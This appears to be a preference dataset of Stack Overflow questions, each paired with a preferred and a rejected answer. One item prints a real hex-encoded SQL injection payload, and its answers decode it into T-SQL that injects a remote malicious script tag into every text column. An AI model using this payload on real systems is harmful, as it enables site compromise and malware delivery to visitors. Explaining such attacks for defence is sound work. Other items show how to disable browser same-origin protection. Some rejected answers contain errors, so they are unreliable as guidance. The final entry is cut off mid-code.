instruction
stringlengths
21
27.8k
chosen
stringlengths
18
28.2k
rejected
stringlengths
18
33.6k
__index_level_0__
int64
0
50k
<p>I’ve just found out that the execution plan performance between the following two select statements are massively different:</p> <pre><code>select * from your_large_table where LEFT(some_string_field, 4) = '2505' select * from your_large_table where some_string_field like '2505%' </code></pre> <p>The execution plans are 98% and 2% respectively. Bit of a difference in speed then. I was actually shocked when I saw it.</p> <p>I've always done LEFT(xxx) = 'yyy' as it reads well. I actually found this out by checking the LINQ generated SQL against my hand crafted SQL. I assumed the LIKE command would be slower, but is in fact much much faster. </p> <p>My question is why is the LEFT() slower than the LIKE '%..'. They are afterall identical?</p> <p>Also, is there a CPU hit by using LEFT()?</p>
<p>More generally speaking, you should never use a function on the LEFT side of a WHERE clause in a query. If you do, SQL won't use an index--it has to evaluate the function for every row of the table. The goal is to make sure that your where clause is "<a href="http://en.wikipedia.org/wiki/Sargable" rel="noreferrer">Sargable</a>"</p> <p>Some other examples:</p> <pre><code>Bad: Select ... WHERE isNull(FullName,'') = 'Ed Jones' Fixed: Select ... WHERE ((FullName = 'Ed Jones') OR (FullName IS NULL)) Bad: Select ... WHERE SUBSTRING(DealerName,4) = 'Ford' Fixed: Select ... WHERE DealerName Like 'Ford%' Bad: Select ... WHERE DateDiff(mm,OrderDate,GetDate()) &gt;= 30 Fixed: Select ... WHERE OrderDate &lt; DateAdd(mm,-30,GetDate()) Bad: Select ... WHERE Year(OrderDate) = 2003 Fixed: Select ... WHERE OrderDate &gt;= '2003-1-1' AND OrderDate &lt; '2004-1-1' </code></pre>
<p>As @BradC mentioned, you shouldn't use functions in a WHERE clause if you have indexes and want to take advantage of them.</p> <p>If you read the section entitled "Use LIKE instead of LEFT() or SUBSTRING() in WHERE clauses when Indexes are present" <a href="http://cc.davelozinski.com/sql/optimizing-sql-strategies" rel="nofollow">from these SQL Performance Tips</a>, there are more examples. </p> <p>It also hints at questions you'll encounter on the <a href="https://www.microsoft.com/learning/en-au/sql-certification.aspx" rel="nofollow">MCSE SQL Server 2012 exams</a> if you're interested in taking those too. :-)</p>
49,880
<p>I want to develop JavaScript on my Windows machine. Do you know a browser where I can turn off <em>Same Origin Policy</em> so I can develop locally? Firefox would be optimal.</p> <p>Or if you know a proxy I could use for a SOAP/WSDL site it would be great too.</p> <p>I am trying to work with the <a href="http://www.codeplex.com/JavaScriptSoapClient" rel="noreferrer">JavaSCript SOAP Client</a>.</p>
<p><strong>UPDATE 6/2012: This used to work at the time of the writing, but obviously no more. Sorry.</strong></p> <p>In Firefox (might apply to other Gecko-based browsers as well) you can use the following JavaScript snippet to allow cross-domain calls:</p> <pre><code>if (navigator.userAgent.indexOf("Firefox") != -1) { try { netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead"); } catch (e) { alert("Permission UniversalBrowserRead denied -- not running Mozilla?"); } } </code></pre> <p>It looks like there's <a href="https://code.google.com/p/chromium/issues/detail?id=6449" rel="noreferrer">an issue</a> created in the Chromium issue tracker for achieving the same functionality, so you could try starting Chrome with the argument <code>--disable-web-security</code>. I don't know which builds this works on exactly, but at least Nokia's <a href="http://developer.symbian.org/wiki/index.php/Wrttools" rel="noreferrer">WRT Tools</a> comes with a Chrome installation that does in fact allow loading content from other sites.</p>
<p>You can also redirect a local port to the remote server and port via ssh.</p>
42,804
<p>I'm developing an application with a feature that allows users to mark places on a map (events, locations etc.). I'm not allowed to use the basic google maps api because it requires pages that implement the maps to be publicly available. Does anyone know of any alternative with rich layers (including Europe, Asia, etc.) that can be used freely on non-public pages?</p> <hr> <p>This question is wrong but I'm leaving it anyway in case anyone else tries to ask it. The problem is I misinterpreted the TOS on google maps API which google have clarified. You can use it in pages that require login as long as you don't charge your users.</p> <p>There are opensource and free alternatives too which may be more flexible but are much harder and of lower quality as programming APIs. OpenLayers (OenstreetMaps is based on it) is the best and most popular one.</p>
<p>Have you checked out <a href="http://www.openstreetmap.org/" rel="nofollow noreferrer">OpenStreetMap</a>?</p>
<p>For a private page you might well find it more cost-effective to license some proper maps. Might not be that expensive for a limited userbase.</p> <p>Do you actually need maps as such, how about some of the other geolocation sources like gazetteers, etc. List of some sources <a href="http://wiki.openstreetmap.org/wiki/Potential_Datasources" rel="nofollow noreferrer">here</a>.</p>
49,209
<p>Are there any VS.NET plugins that will format a selection of code for printing or emailing and is also free?</p>
<p>Have you checked the inbuilt formatting provided by VS? Select code and enter key chord Ctrl+K, Ctrl+F.</p> <p>Or goto (menu)Edit->Advanced->FormatSelection or Edit->Advanced->FormatDocument</p>
<p>Use some kind of tabs-to-spaces function, and make sure the print or email uses a <code>monospaced</code> (aka. typewriter or console) font.</p> <p>I'm pretty sure VisualStudio had a (little well hidden) function to convert indenting from tabs to spaces and vice versa.</p> <p>I'm normally using <a href="http://www.vim.org/" rel="nofollow noreferrer">vim</a> where you can use:</p> <pre><code>:set expandtab :%retab </code></pre> <p>to replace tabs with spaces and:</p> <pre><code>:set noexpandtab :%retab </code></pre> <p>to replace spaces to tabs.</p> <p>Spaces is better for emailing etc. because noone can agree on the length (in spaces) of a tab.</p>
44,289
<p>My app needs to build a buffer from all the selected cells on a worksheet. I have it working correctly when the selected cells are all one contiguous group, but if the user selects a group of cells, then holds down the control key and selects other cells that are not contiguous to the first set of cells, the Worksheet's Selected range only gives me information on that first group of cells. </p> <p>I tried the Range "Next" property, but walking that seems to just return ranges containing cell-by-cell traversal of that first range. </p>
<p>The Address property returns selected ranges (separated by comma)</p> <p>When I select B4 to D10 and then H9 to 016 (by holding ctrl), Selection.Address returns $B$4:$D$10,$H$9:$O$16.</p>
<p>The Address property returns selected ranges (separated by comma)</p> <p>When I select B4 to D10 and then H9 to 016 (by holding ctrl), Selection.Address returns $B$4:$D$10,$H$9:$O$16.</p>
43,110
<p>I'm trying to run a 3d array but the code just crashes in windows when i run it, here's my code;</p> <pre><code>#include &lt;iostream&gt; using namespace std; int main(){ int myArray[10][10][10]; for (int i = 0; i &lt;= 9; ++i){ for (int t = 0; t &lt;=9; ++t){ for (int x = 0; x &lt;= 9; ++t){ myArray[i][t][x] = i+t+x; } } } for (int i = 0; i &lt;= 9; ++i){ for (int t = 0; t &lt;=9; ++t){ for (int x = 0; x &lt;= 9; ++t){ cout &lt;&lt; myArray[i][t][x] &lt;&lt; endl; } } } system("pause"); } </code></pre> <p>can someone throw me a quick fix / explanation</p>
<p>You twice have the line</p> <pre><code>for (int x = 0; x &lt;= 9; ++t){ </code></pre> <p>when you mean</p> <pre><code>for (int x = 0; x &lt;= 9; ++x){ </code></pre> <p>Classic copy-and-paste error.</p> <p>BTW, if you run this in a debugger and look at the values of the variables, it's pretty easy to see what's going on.</p>
<p>David's answer is correct.</p> <p>Incidentally, convention is to use i,j,and k for nested iterator indices, and also to use &lt; array_length rather than &lt;= array_length -1 as the terminator.</p> <p>If you do that, then you can make the array size a constant and get rid of some magic numbers.</p> <p>Also, an assertion at the point where you use the array indices might have pointed you to the error.</p> <p>The result may look like:</p> <pre><code>const std::size_t ARRAY_SIZE = 10; int myArray[ARRAY_SIZE][ARRAY_SIZE][ARRAY_SIZE]; for (std::size_t i = 0; i &lt; ARRAY_SIZE; ++i) { for (std::size_t j = 0; j &lt; ARRAY_SIZE; ++j) { for (std::size_t k = 0; k &lt; ARRAY_SIZE; ++k) { std::assert (i &lt; ARRAY_SIZE &amp;&amp; j &lt; ARRAY_SIZE &amp;&amp; k &lt; ARRAY_SIZE); // Do stuff } } } </code></pre>
47,042
<p>This UpdatePanel is contained by an UserControl. When the LinkButton is pressed arow should be added in another GridView. When an user is logged in this control is working well. The problems appears when an user is not logged in and try to push that button. No event triggers. Someone suggested me to give a permission for accessing this control in web.config. That didn't work. Anyone has another idea?</p> <pre><code>&lt;asp:UpdatePanel runat="server" UpdateMode="Conditional" EnableViewState="true" ID="IngredientsUpdatePanel"&gt; &lt;ContentTemplate&gt; &lt;asp:ObjectDataSource ID="sourceIngredients" runat="server" SelectMethod="GetAll"&gt; &lt;/asp:ObjectDataSource&gt; &lt;asp:GridView ID="Ingredients" AllowPaging="true" runat="server" DataKeyNames="IngredientId" EnableViewState="true" DataSourceID="sourceIngredients" PageSize="5" AutoGenerateColumns="false" HorizontalAlign="Center" OnSelectedIndexChanged="Ingredients_SelectedIndexChanged"&gt; &lt;RowStyle HorizontalAlign="Center" /&gt; &lt;HeaderStyle Font-Bold="true" ForeColor="Black" /&gt; &lt;Columns&gt; &lt;asp:TemplateField HeaderText="Ingrediente" ItemStyle-Font-Size="10"&gt; &lt;ItemTemplate&gt; &lt;asp:Label ID="lblId" Text='&lt;%# Bind("IngredientId") %&gt;' Visible="false" runat="server"/&gt; &lt;asp:Label ID="lblPrice" Text='&lt;%# Bind("Price") %&gt;' Visible="false" runat="server"/&gt; &lt;asp:Label ID="lblDescr" Text='&lt;%# Bind("Description") %&gt;' Visible="false" runat="server"/&gt; &lt;asp:Label ID="lblName" Text='&lt;%# Bind("Name") %&gt;' Visible="false" runat="server"/&gt; &lt;asp:Label ID="lblPict" Text='&lt;%# Bind("Picture") %&gt;' Visible="false" runat="server"/&gt; &lt;div style="text-align:left;"&gt; &lt;img id="img" style="float:right;" src='&lt;%# Eval("Picture") %&gt;' height="75" runat="server" alt="Picture" /&gt; &lt;b&gt; &lt;%# Eval("Name") %&gt; &lt;/b&gt; &lt;br /&gt; &lt;br /&gt; Price: &lt;b&gt;&lt;%# Eval("Price") %&gt;&lt;/b&gt; &lt;br /&gt; &lt;br /&gt; &lt;br /&gt; &lt;/div&gt; &lt;hr /&gt; &lt;div style="text-align:left;"&gt; &lt;b&gt;Description&lt;/b&gt; &lt;/div&gt; &lt;div style="width:300px;"&gt; &lt;%# Eval("Description") %&gt; &lt;/div&gt; &lt;br /&gt; &lt;asp:LinkButton Enabled="true" runat="server" Text="Add" CommandName="Select" ID="cmdAdd" /&gt; &lt;/ItemTemplate&gt; &lt;/asp:TemplateField&gt; &lt;/Columns&gt; &lt;/asp:GridView&gt; &lt;/ContentTemplate&gt; </code></pre> <p></p>
<p>I solved the problem in a tricky way. I deleted the LinkButton and before TemplateField I put a ButtonField and all is working fine. Now the code looks like:</p> <pre><code> &lt;Columns&gt; &lt;asp:ButtonField Text="Add" CommandName="Select" /&gt; &lt;asp:TemplateField&gt; ...... &lt;/asp:TemplateField&gt; &lt;/Columns&gt; </code></pre> <p>Still I'm not understanding why the control had that behavior.</p>
<p>Don't forget to give the webresource.axd enough rights in the web.config?</p>
47,045
<p>I could have sworn I read somewhere that when printing with TPU to make sure the part cooling fan is blowing. But I just did a quick Googling and couldn't find anything stating such on Matter Hackers or All3dp.</p> <p>I currently don't have a part cooling fan attached (waiting for square nuts to come in). I've been able to get by printing PLA without the fan. I'm curious if this is going to be a major obstacle with TPU.</p>
<p>You'll probably be fine printing TPU with no fan. I just started printing with TPU, and did a lot of test prints to find out what settings work. Fan made little difference. With hotend at 230 °C, which I started out with, 0-20% fan was fine. I eventually increased temperature to 250 °C, which made extrusion more consistent and allowed me to reduce linear advance K-factor somewhat, and at that temperature having a bit more fan (I'm using 40% now) seems to help the material hold its shape, but it mainly made a difference at higher print speeds (over 35 mm/s) where the motion of the nozzle was "pulling on" the still-very-soft material just extruded. At 30 mm/s and below, fan still doesn't seem very important.</p> <p>All of this is likely to vary somewhat with the properties of your machine. However I think it's safe to say you should be able to find a combination of print speed and temperature that make it possible to get by with no fan.</p> <p><strong>Follow-up:</strong> Upon further experimentation with TPU, I would say you really <strong>don't want any fan at all</strong>, except possibly for bridges. I've found significant distortion to shape just from air pressure from the fan, and at higher speeds the fan makes the print brittle just like what happens with PETG. Layers of TPU really seem to want time to melt together to bond, and without a fan blowing on them they don't seem to lose their shape during that time.</p>
<p>Sharing fan percentages like in <a href="/a/11852/">this answer</a> is only helpful if you use the same printer model, cooling fan and cooling duct. As there are many 3D printers and many cooling fans, ducts and solutions, this cannot be readily adopted to every 3D printer.</p> <p>So, in such a case I would rely on the manufacturers of the filament e.g. the flexible filament I use has settings for different printers listed <a href="http://ngen-flex.colorfabb.com/how/" rel="nofollow noreferrer">here</a>. TPU is not very prone to warping. The general rule for cooling of TPU is found to not use it for the first 2 layers and after that proceed with a moderate cooling flow. What that value is for your printer is left as an experiment. Several test/calibration print designs exist (e.g. for bridging) to test this out. It is said that a little cooling aids in better aesthetic prints (finer details) while less cooling results in stronger layer adhesion and thus stronger prints.</p>
1,564
<p>Following Alan Green's "<a href="http://www.bright-green.com/blog/2003_02_25/naming_java_classes_without_a.html" rel="nofollow noreferrer">Naming Java classes without Manager</a>" I've started hunting *Manager classes in my own code.</p> <p>How would you rename the following class? ServiceLoader, maybe? but it doesn't "load" anything from anywhere.</p> <pre><code>class ServiceManager { public bool IsRunning { get; }; public void Start(); public void Restart(); public void Stop(); } </code></pre> <p>Also, please share your own examples of Manager classes that you've renamed.</p> <p>Thanks</p> <hr> <p>I probably should have described a little more what the class does. This class starts/stops a .NET Remoting service.</p> <p>The Start() method registers a channel (port) and the interfaces for the services.</p>
<p>Does the Manager part add anything? Why not just 'Service'.</p> <p>edit:</p> <p>To clarify, it doesn't seem like this manages, or controls, or does anything to, a service. It reads like it is the service. </p> <p>If it was doing anything to, or for, a service, then I'd expect to be able to get the service object it controlled and call methods on that too. </p> <p>If this was a controller interface that you could get from a Service object, that would be different.</p>
<ul> <li>ServiceMonitor?</li> <li>ServiceController?</li> </ul>
49,971
<p>I would like to declare a dropdown box in a view in an ASP.NET MVC application, for letting the user select a lookup value. I know how to declare plain text boxes but is there an official helper for declaring dropdown boxes (date time pickers and the rest)?.</p> <p>I also don't know what structure I should pass to my view for giving the values to the dropdown box. I assume I need both an id and a description.</p> <p>Finally, how do I pass the selected id from the dropdown box back to my action in the controller?</p>
<p>If you have a table of Product Types with description and a value ( id ) that you want to map to your dropdown then do the following inside your action in the controller.</p> <pre><code>//Lets assume you retrieve your product types somehow here ViewData["ProductTypes"] = new List&lt;ProductType&gt;(); </code></pre> <p>Then inside your view type the following</p> <pre><code>&lt;%= Html.DropDownList("productType", new SelectList((IEnumerable)ViewData["ProductTypes"], "TypeID", "Description"))%&gt; </code></pre> <p>TypeID and Description refers to the properties of your object of type ProductType</p> <p>Also, you might not find Html.DropDownList if you have an older version of MVC installed, make sure you have a Beta+ version before you try this out.</p>
<p>You might check out this blog entry by Scott Guthrie about <a href="http://weblogs.asp.net/scottgu/archive/2007/12/09/asp-net-mvc-framework-part-4-handling-form-edit-and-post-scenarios.aspx" rel="nofollow noreferrer">Handling Form Edit Post Scenarios</a>. He uses a drop down list in an example of his.</p> <p>You can provide a list of complex objects to the drop down list too (Scott Guthrie's example doesn't show that, but it alludes to it).</p> <p>You can do something like this...</p> <pre><code>&lt;%= Html.DropDownList("Select One", "CategoryId", ViewData.Model.Categories, "Id", "Name", ViewData.Model.SelectedCategoryId)) %&gt; </code></pre> <p>"Id" and "Name" refer to properties on your ViewData.Model.Categories list of objects.</p> <p>If SelectedCategoryId has a value, then it will default the dropdownlist. </p>
23,948
<p>This is a low-level systems question.</p> <p>I need to mix 32 bit and 16 bit code because I'm trying to return to real-mode from protected mode. As a bit of background information, my code is doing this just after GRUB boots so I don't have any pesky operating system to tell me what I can and can't do.</p> <p>Anyway, I use [BITS 32] and [BITS 16] with my assembly to tell nasm which types of operations it should use, but when I test my code use bochs it looks like the for some operations bochs isn't executing the code that I wrote. It looks like the assembler is sticking in extras <code>0x66</code> and <code>0x67</code>'s which confuses bochs.</p> <p>So, how do I get nasm to successfully assemble code where I mix 32 bit and 16 bit code in the same file? Is there some kind of trick? ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­</p>
<p>The problem turned out to be that I wasn't setting up my descriptor tables correctly. I had one bit flipped wrong so instead of going to 16-bit mode I was going to 32-bit mode (with segments that happened to have a limit of one meg). </p> <p>Thanks for the suggestions!</p> <p>Terry</p>
<p>You weren't kidding about this being low-level!</p> <p>Have you checked the generated opcodes / operands to make sure that nasm is honoring your BITS directives correctly? Also check to make sure the jump targets are correct - maybe nasm is using the wrong offsets.</p> <p>If it's not a bug in nasm, maybe there is a bug in bochs. I can't imagine that people switch back to 16-bit mode from 32-bit mode very often anymore.</p>
3,894
<p>I'm just learning about SVG, and it seems great but I'm not sure about browser support - have people successfully got around this, or is it still too early?</p>
<p><a href="http://raphaeljs.com/" rel="noreferrer">Raphael</a> is a cross-browser vector graphics library which might be worth a look.</p>
<p>I'd say your best bet is to create the image in whatever format you're most comfortable with, then convert it to SVG with something like ImageMagick. You could write PostScript by hand or with a library, or directly create the image from simple text/shape primitives using the ImageMagick API. There's pretty good documentation, and you can call ImageMagick as a COM object (assuming your language has good COM support).</p>
22,887
<blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="https://stackoverflow.com/questions/200545/attempted-sql-injection-attack-what-are-they-trying-to-do">Attempted SQL injection attack - what are they trying to do?</a> </p> </blockquote> <p>I have seen this SQL injection attempt on my site many times in the last few months. </p> <pre><code>';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S); </code></pre> <p>After going through my code, I'm sure I'm protected because I query against an in-memory dataset rather than the database itself. However, even though I'm sure I'm protected, I don't fully understand what's going on with this attack attempt and would like to figure it out so I can avoid writing code in the future that may be vulnerable to it.</p> <p>Can anyone explain to me what these hackers are attempting to do with this code?</p> <p>Thanks.</p> <p>-This code is getting appended to the query string as well as getting sent as post data.</p>
<p>Note: my first explanation was incorrect because I didn't actually read through the whole thing...</p> <p>here's what that translates to. It searches your database for text or varchar columns (b.xtype in 99,35,231,167) and then injects a javascript file into all text columns in your database. A bit more malicious than I first thought.</p> <pre><code>DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''"&gt; &lt;/title&gt; &lt;script src="http://www2.s800qn.cn/csrss/w.js"&gt;&lt;/script&gt; &lt;!--''+['+@C+'] where '+@C+' not like ''%"&gt; &lt;/title&gt; &lt;script src="http://www2.s800qn.cn/csrss/w.js"&gt;&lt;/script&gt;&lt;!--' '') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor </code></pre>
<p>Further to Jimmy's post: you can also use a hex-ascii translator to get this:</p> <pre><code>DECLARE @T varchar(255)'@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''"&gt;&lt;/title&gt;&lt;script src="http://www2.s800qn.cn /csrs/w.js"&gt;&lt;/script&gt;''+['+@C+'] where '+@C+' not like ''%"&gt;&lt;/title&gt;&lt;script src="http://www2.s800qn.cn/csrss/w.js"&gt;&lt;/script&gt;''')FETCH NEXT FROM Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor </code></pre>
48,324
<p>What is a fast way to select a random row from a large mysql table?</p> <p>I'm working in php, but I'm interested in any solution even if it's in another language.</p>
<p>Grab all the id's, pick a random one from it, and retrieve the full row.</p> <p>If you know the id's are sequential without holes, you can just grab the max and calculate a random id.</p> <p>If there are holes here and there but mostly sequential values, and you don't care about a slightly skewed randomness, grab the max value, calculate an id, and select the first row with an id equal to or above the one you calculated. The reason for the skewing is that id's following such holes will have a higher chance of being picked than ones that follow another id.</p> <p>If you order by random, you're going to have a terrible table-scan on your hands, and the word <em>quick</em> doesn't apply to such a solution.</p> <p>Don't do that, nor should you order by a GUID, it has the same problem.</p>
<h1>Quick and dirty method:</h1> <pre><code>SET @COUNTER=SELECT COUNT(*) FROM your_table; SELECT PrimaryKey FROM your_table LIMIT 1 OFFSET (RAND() * @COUNTER); </code></pre> <p>The complexity of the first query is O(1) for MyISAM tables.</p> <p>The second query accompanies a table full scan. Complexity = O(n)</p> <h1>Dirty and quick method:</h1> <p>Keep a separate table for this purpose only. You should also insert the same rows to this table whenever inserting to the original table. Assumption: No DELETEs.</p> <pre><code>CREATE TABLE Aux( MyPK INT AUTO_INCREMENT, PrimaryKey INT ); SET @MaxPK = (SELECT MAX(MyPK) FROM Aux); SET @RandPK = CAST(RANDOM() * @MaxPK, INT) SET @PrimaryKey = (SELECT PrimaryKey FROM Aux WHERE MyPK = @RandPK); </code></pre> <p>If DELETEs are allowed,</p> <pre><code>SET @delta = CAST(@RandPK/10, INT); SET @PrimaryKey = (SELECT PrimaryKey FROM Aux WHERE MyPK BETWEEN @RandPK - @delta AND @RandPK + @delta LIMIT 1); </code></pre> <p>The overall complexity is O(1).</p>
25,961
<p>I tried printing from an STL file on the <em>QIDI TECHNOLOGY 3DP-QDA16-01 Dual Extruder Desktop 3D Printer QIDI TECH I</em>. They recommend using the MakerBot software with the <em>Replicator(Dual)</em> profile. The 3D print that I tried is messed up.</p> <p>The material used is <strong>PLA</strong>.</p> <p>Could you help me determine the cause? The following pictures give more details: (<em>All settings which are not shown are Makerware default settings</em>)</p> <p><a href="https://i.stack.imgur.com/Abvj2m.png" rel="nofollow noreferrer">1</a> <strong>The 3D model</strong></p> <p><a href="https://i.stack.imgur.com/Abvj2m.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Abvj2m.png" alt="The 3D Model"></a></p> <p><a href="https://i.stack.imgur.com/zmWnrm.jpg" rel="nofollow noreferrer">2</a> <strong>The printed sample</strong></p> <p><a href="https://i.stack.imgur.com/zmWnrm.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/zmWnrm.jpg" alt="The printed sample"></a></p> <p><a href="https://i.stack.imgur.com/viQoPm.png" rel="nofollow noreferrer">3</a> <strong>The Settings</strong></p> <p><a href="https://i.stack.imgur.com/viQoPm.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/viQoPm.png" alt="Settings"></a></p> <p><a href="https://i.stack.imgur.com/l3b7om.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/l3b7om.png" alt="Settings"></a></p>
<p>Your print isn't cooling fast enough. With small, thin prints like this, PLA needs a fair bit of airflow to solidify before the next layer goes down. Your printer doesn't appear to have a proper print-cooling fan, so I have two suggestions:</p> <ul> <li>Print two or even three of the part at the same time, spaced a fair distance apart on the build plate. This will give each of them time to cool.</li> <li>Point a box fan into the front of the printer to get good airflow over the print.</li> </ul>
<p>I agree with <a href="https://3dprinting.stackexchange.com/questions/1511/irregular-3d-printed-part/1513#1513">RyanCarlyle</a> on this:</p> <blockquote> <p>Your print isn't cooling fast enough.</p> </blockquote> <p>Please regard <a href="https://3dprinting.stackexchange.com/questions/540/mushy-small-top-layers/541#541">this answer</a> of mine that covers a few options to help with the issue you're encountering. Pay particular attention to the <em>layer times</em>, and <em>active cooling</em>.</p> <p>The essential take-away from my answer <sup>(linked above)</sup> is this:</p> <ul> <li><strong>Increase Layer Times</strong>. Increasing <strong>Minimum Layer Duration</strong> <sub>(Device Settings -> Minimum Layer Duration)</sub> will provide the material with more time to naturally cool down closer to its environment's temperature. What this does is ensure that the latest layer is <strong><em>mostly</em></strong> solid before the machine begins printing the next molten layer. If you don't let the previous layer of plastic solidify enough, then plastic gets pushed/pulled around when the machine moves, adding more plastic; thus resulting in the issue you see in your images. The caveat with this approach is the obvious impact on the overall runtime of your print and should ideally be done more or less as a last resort.</li> <li><strong>Active Cooling</strong>. Active cooling is typically done using an additional fan, often times mounted directly in front of the extruder. The act of active cooling provides a quicker and more direct means of cooling the printed plastic. However, depending on machine design, you may see more variability on other places such as dependability in extrusion temperatures. This can be more detrimental with cheaper spools of PLA and especially poorly designed machines that can't properly maintain extruder temperatures. Active cooling is, however, very common and seems to work for the majority of 3D printer enthusiasts and doesn't impede on runtime.</li> </ul>
343
<p>How do I prevent code from executing in the SelectedValueChange event of a combobox when the combobox is being loaded for the first time? I need the code to execute when the user has selected a new value.</p>
<p>You have a few options.</p> <ol> <li><p>Rather than letting the designer hookup the event handler you can do it yourself after loading</p></li> <li><p>You can set a flag in your application for "loading" and put code inside your SelectedValueChange event to check !loading before continuing.</p></li> </ol> <p>Personally I would just add the handler after load if it is causing issues.</p>
<p>I prefer the SelectedIndexChanged event as its behaviour seems to better model that of the underlying Win32 API making it predictable.</p> <p>Some of the more esoteric events offered by the controls simply do not model the behaviour that one would expect from their name.</p>
33,286
<p>I'm trying to do the following in infopath: I have to choose between 2 options (with bullets), and depending on this, if we choose Option1, I need to display a text field to enter more details, but if Option2 is chosen, I don't need this additional field.</p> <p>I'm not sure about how to enter a Rule to define this :-(<br> Anyone could help?<br> Thx!</p>
<p>In 2010, you do this with 'Rules' (changed from 2007). Open the Home tab in the ribbon, open Manage Rules from there. Then select your control, and add / edit rules in the rules pane for each control to achieve what you're trying to do.</p>
<p>In InfoPath 2013, you can: You can hide Controls on the basics of a condition using Formating Rules. <br> 1. Click on the control<br> 2. Add Rule<br> 3. Select Formatting<br> 4. Add Condition<br> 5. Check Hide Control<br> </p>
17,642
<p>In C#, how do I set the Identity of a Thread?</p> <p>For example, if I have Thread MyThread, which is already started, can I change MyThread's Identity?</p> <p>Or is this not possible?</p>
<p>You can set the Identity of a thread by creating a new Principal. You can use any Identity that inherits from <a href="https://msdn.microsoft.com/en-us/library/system.security.principal.iidentity(v=vs.110).aspx" rel="noreferrer">System.Security.Principal.IIdentity</a>, but you need a class that inherits from <a href="https://msdn.microsoft.com/en-us/library/system.security.principal.iprincipal(v=vs.110).aspx" rel="noreferrer">System.Security.Principal.IPrincipal</a> that takes the type of Identity you are using.<br /> For simplicity sake the .Net framework provides <a href="https://msdn.microsoft.com/en-us/library/system.security.principal.genericprincipal(v=vs.110).aspx" rel="noreferrer">GenericPrincipal</a> and <a href="https://msdn.microsoft.com/en-us/library/system.security.principal.genericidentity(v=vs.110).aspx" rel="noreferrer">GenericIdentity</a> classes which can be used like this:</p> <pre><code> using System.Security.Principal; // ... GenericIdentity identity = new GenericIdentity("M.Brown"); identity.IsAuthenticated = true; // ... System.Threading.Thread.CurrentPrincipal = new GenericPrincipal( identity, new string[] { "Role1", "Role2" } ); //... if (!System.Threading.Thread.CurrentPrincipal.IsInRole("Role1")) { Console.WriteLine("Permission denied"); return; } </code></pre> <p>This won't however give you windows rights to stuff using the new identity. But it can be useful if you are developing a web site and want to create your own user management.</p> <p>If you want to pretend to be a different Windows user than the account you are currently using then you need to use impersonation. An example of how to do this can be found in the Help for <a href="http://msdn.microsoft.com/en-us/library/chf6fbt4.aspx" rel="noreferrer">System.Security.Principal.WindowsIdentity.Impersonate()</a>. There are limitations about which accounts the account you are running under can impersonate.</p> <p>In some cases the .Net framework does impersonation for you. One example of where this occurs is if you are developing a ASP.Net web site and you have Integrated Windows Authentication switched on for the virtual directory or site you are running in.</p>
<p>Yes, using <a href="http://msdn.microsoft.com/en-us/library/system.security.principal.windowsimpersonationcontext.aspx" rel="nofollow noreferrer">impersonation</a> literally</p> <pre><code>using (new Impersonation()) { // your elevated code } </code></pre> <p>and the class is as follows, for settings I use castle dictionary adaptor if it looks strange.</p> <pre><code>[PermissionSet(SecurityAction.Demand, Name = "FullTrust")] public class Impersonation : IDisposable { private readonly SafeTokenHandle _handle; private readonly WindowsImpersonationContext _context; //const int Logon32LogonNewCredentials = 9; private const int Logon32LogonInteractive = 2; public Impersonation() { var settings = Settings.Instance.Whatever; var domain = settings.Domain; var username = settings.User; var password = settings.Password; var ok = LogonUser(username, domain, password, Logon32LogonInteractive, 0, out _handle); if (!ok) { var errorCode = Marshal.GetLastWin32Error(); throw new ApplicationException(string.Format("Could not impersonate the elevated user. LogonUser returned error code {0}.", errorCode)); } _context = WindowsIdentity.Impersonate(_handle.DangerousGetHandle()); } public void Dispose() { _context.Dispose(); _handle.Dispose(); } [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] private static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken); public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid { private SafeTokenHandle() : base(true) { } [DllImport("kernel32.dll")] [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] [SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool 